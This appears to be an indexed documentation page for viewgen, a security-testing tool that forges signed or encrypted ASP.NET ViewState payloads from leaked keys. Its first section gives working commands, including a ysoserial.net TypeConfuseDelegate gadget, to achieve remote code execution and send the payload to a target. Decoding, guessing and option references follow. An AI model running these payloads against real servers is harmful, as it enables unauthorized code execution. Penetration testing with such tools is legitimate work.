DOCSEARCHbyAlgolia
Submit Docs

viewgen

repository·main·Indexed 20 days ago

https://github.com/0xacb/viewgen

An ASP.NET ViewState tool for generating signed and encrypted ViewState payloads. It is used for security testing to identify deserialization vulnerabilities when validation keys or web.config files have been leaked. The CLI supports decoding payloads, guessing signature and encryption modes, and generating payloads for Remote Code Execution (RCE) using ysoserial.net logic.

Tokens
1.3K
Snippets
5
Records
6
Agent score
21%

What's inside viewgen

  1. Generate ViewState payloads for RCE

    main

    If you have leaked a web.config file or validation keys, you can generate payloads to achieve Remote Code Execution (RCE) via ObjectStateFormatter deserialization.

    Method 1: Using the built-in command option

    viewgen has a built-in command option based on ysoserial.net to generate payloads directly:

    viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"

    Method 2: Manual generation

    1. Generate a payload using ysoserial.exe: ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "ping yourdomain.tld"
    2. Obtain the __VIEWSTATEGENERATOR (modifier) from the target web application.
    3. Wrap the payload using viewgen with your leaked keys: viewgen --webconfig web.config --modifier MODIFIER PAYLOAD
    4. Send the resulting payload via a POST request to the target endpoint.
    viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"

  2. Install viewgen

    main

    Python Installation

    Requires Python 3. Install the dependencies using pip:

    pip3 install --user --upgrade -r requirements.txt

    Alternatively, you can use the provided install script:

    ./install.sh

    Docker Installation

    You can build a local image or pull the official image from Docker Hub:

    docker build -t viewgen .
# OR
docker pull 0xacb/viewgen
    pip3 install --user --upgrade -r requirements.txt

  3. Example: Guessing ViewState properties

    main

    If you have a payload but don't know if it is encrypted or what algorithm it uses, use the --guess flag.

    Unencrypted payload example:

    $ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRk"
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1

    Encrypted payload example:

    $ viewgen --guess "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
[!] ViewState is encrypted
[+] Algorithm candidates:
AES SHA1
DES/3DES SHA1
    viewgen --guess "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="

  4. Example: Decoding and checking a ViewState

    main

    Use --decode and --check along with --webconfig and --modifier to verify if a payload matches specific keys and to see its contents.

    $ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
[+] ViewState
(('1628925133', (None, [3, (['enctype', 'multipart/form-data'], None)])), None)
[+] Signature
7441f6eeb4fab5a5f30d6ba99908c08eb683b9e6
[+] Signature match
    viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="

  5. Reference: viewgen CLI options

    main

    Full list of command-line arguments for viewgen:

    ArgumentDescription
    payloadViewState payload (base 64 encoded)
    -h, --helpshow this help message and exit
    --webconfig WEBCONFIGautomatically load keys and algorithms from a web.config file
    -m MODIFIER, --modifier MODIFIERVIEWSTATEGENERATOR value
    --viewstateuserkey VIEWSTATEUSERKEYViewStateUserKey CSRF value
    -c COMMAND, --command COMMANDcommand to execute
    --decodedecode a ViewState payload
    --guessguess signature and encryption mode for a given payload
    --checkcheck if modifier and keys are correct for a given payload
    --vkey VKEYvalidation key
    --valg VALGvalidation algorithm
    --dkey DKEYdecryption key
    --dalg DALGdecryption algorithm
    -u, --urlencodeURL encode viewstates
    -e, --encryptedViewState is encrypted
    -f FILE, --file FILEread ViewState payload from file
    --versionshow viewgen version

  6. Use viewgen CLI

    main

    The viewgen CLI is used to generate signed or encrypted ASP.NET ViewState payloads using leaked validation keys or web.config files. It can also decode, check, or guess the properties of existing ViewState payloads.

    Basic Syntax: viewgen [options] [payload]

    Key Options:

    • --webconfig WEBCONFIG: Automatically load keys and algorithms from a web.config file.
    • --modifier MODIFIER: Specify the __VIEWSTATEGENERATOR value.
    • --viewstateuserkey VIEWSTATEUSERKEY: Specify the ViewStateUserKey CSRF value.
    • -c COMMAND: Execute a command (uses ysoserial.net logic) to generate a payload.
    • --decode: Decode a provided ViewState payload.
    • --guess: Attempt to guess the signature and encryption mode for a payload.
    • --check: Verify if the provided modifier and keys match the payload.
    • --vkey VKEY: Provide a validation key.
    • --valg VALG: Provide a validation algorithm.
    • --dkey DKEY: Provide a decryption key.
    • --dalg DALG: Provide a decryption algorithm.
    • -e: Mark the ViewState as encrypted.
    • -f FILE: Read the ViewState payload from a file instead of a positional argument.
    viewgen --webconfig web.config -m CA0B0334 "<base64_payload>"